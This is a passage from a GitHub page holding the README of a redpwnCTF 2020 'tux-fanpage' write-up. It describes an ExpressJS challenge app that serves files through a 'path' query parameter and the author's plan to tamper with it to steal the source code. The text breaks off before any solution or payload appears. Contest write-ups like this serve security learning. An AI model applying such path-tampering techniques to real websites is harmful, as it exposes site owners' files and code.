itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> trott4425 </span> <span>/</span> redpwnCTF-2020 <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/trott4425/redpwnCTF-2020/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":275186644,"originating_url":"https://github.com/trott4425/redpwnCTF-2020/tree/master/web/tux-fanpage","user_id":null}}" data-hydro-click-hmac="5b893a02a3e0dbf27d31f3dc11e7226fb8bab853f20b6b115cd7d5a1eab09db3"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/trott4425/redpwnCTF-2020/refs" cache-key="v0:1593184854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dHJvdHQ0NDI1L3JlZHB3bkNURi0yMDIw" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/trott4425/redpwnCTF-2020/refs" cache-key="v0:1593184854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="dHJvdHQ0NDI1L3JlZHB3bkNURi0yMDIw" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>redpwnCTF-2020</span></span></span><span>/</span><span><span>web</span></span><span>/</span>tux-fanpage<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>redpwnCTF-2020</span></span></span><span>/</span><span><span>web</span></span><span>/</span>tux-fanpage<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/trott4425/redpwnCTF-2020/tree-commit/9dc5937f2298c05b9a644d16c576c788a4ca0aed/web/tux-fanpage" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/trott4425/redpwnCTF-2020/file-list/master/web/tux-fanpage"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>README.MD</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.png</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> <readme-toc> <div id="readme" class="Box MD js-code-block-container js-code-nav-container js-tagsearch-file Box--responsive" data-tagsearch-path="web/tux-fanpage/README.MD" data-tagsearch-lang="Markdown"> <div class="d-flex js-sticky js-position-sticky top-0 border-top-0 border-bottom p-2 flex-items-center flex-justify-between color-bg-default rounded-top-2" style="position: sticky; z-index: 30;" > <div class="d-flex flex-items-center"> <details data-target="readme-toc.trigger" data-menu-hydro-click="{"event_type":"repository_toc_menu.click","payload":{"target":"trigger","repository_id":275186644,"originating_url":"https://github.com/trott4425/redpwnCTF-2020/tree/master/web/tux-fanpage","user_id":null}}" data-menu-hydro-click-hmac="3535a2877f63117a8d0e7418769bb3bfee4d73154fd168878b56753b7517a1cc" class="dropdown details-reset details-overlay"> <summary class="btn btn-octicon m-0 mr-2 p-2" aria-haspopup="true" aria-label="Table of Contents"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-list-unordered"> <path d="M5.75 2.5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5ZM2 14a1 1 0 1 1 0-2 1 1 0 0 1 0 2Zm1-6a1 1 0 1 1-2 0 1 1 0 0 1 2 0ZM2 4a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg> </summary> <details-menu class="SelectMenu" role="menu"> <div class="SelectMenu-modal rounded-3 mt-1" style="max-height:340px;"> <div class="SelectMenu-list SelectMenu-list--borderless p-2" style="overscroll-behavior: contain;"> Challenge intro Discovery Solution </div> </div> </details-menu></details> <h2 class="Box-title"> README.MD </h2> </div> </div> <div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text">This is a write up for the tux-fanpage challenge for the 2020 redpwnCTF competition. This challenge is one that I found very interesting as I love challenges that use URL parameter tampering. And honestly, I spent way too much time on it before figuring it out LOL.<h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Challenge intro</h1><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="My friend made a fanpage for Tux; can you steal the source code for me? This is a write up for the tux-fanpage challenge for the 2020 redpwnCTF competition. This challenge is one that I found very interesting as I love challenges that use URL parameter tampering. And honestly, I spent way too much time on it before figuring it out LOL. Site: tux-fanpage.2020.redpwnc.tf">My friend made a fanpage for Tux; can you steal the source code for me? Site: tux-fanpage.2020.redpwnc.tf</div>The challenge also provides the source file for index.js.<h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Discovery</h1>After downloading the source code and reviewing, the application looks like a simple ExpressJS web server that returns a file via a path query parameter /page?path=index.html.One of the first things I noticed was a line in the source code displaying a flag variable:<div class="highlight highlight-source-js notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="//Don't forget to redact from published sourceconst flag = '[REDACTED]'"><span>//Don't forget to redact from published 